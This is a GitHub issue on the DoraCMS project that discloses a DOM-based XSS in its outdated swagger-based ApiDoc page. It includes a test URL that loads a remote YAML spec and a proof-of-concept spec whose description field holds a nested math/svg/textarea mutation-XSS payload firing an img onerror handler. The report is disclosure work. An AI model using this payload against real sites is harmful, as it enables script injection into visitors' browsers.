doramart / DoraCMS

DoraCMS是基于Nodejs+eggjs+mongodb编写的一套内容管理系统,结构简单,较目前一些开源的cms,doracms易于拓展,特别适合前端开发工程师做二次开发。
https://www.html-js.cn
MIT License
3.45k stars 1.02k forks source link

Doracms v2.1.8 and later ApiDoc Dom-based XSS #263

Open Lq0ne opened 4 months ago

Lq0ne commented 4 months ago

Doracms uses outdated version of swagger to build apidoc, which contains a known Dom-based XSS vulnerability. You can just add this parameter to the URL to test your site. https://[HOST]/static/apidoc/index.html?url=https://jumpy-floor.surge.sh/test.yaml

image

POC:

swagger: '2.0'
info:
  title: Example yaml.spec
  description: |
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror=alert('xss')>">
paths:
  /accounts:
    get:
      responses:
        '200':
          description: No response was specified
      tags:
        - accounts
      operationId: findAccounts
      summary: Finds all accounts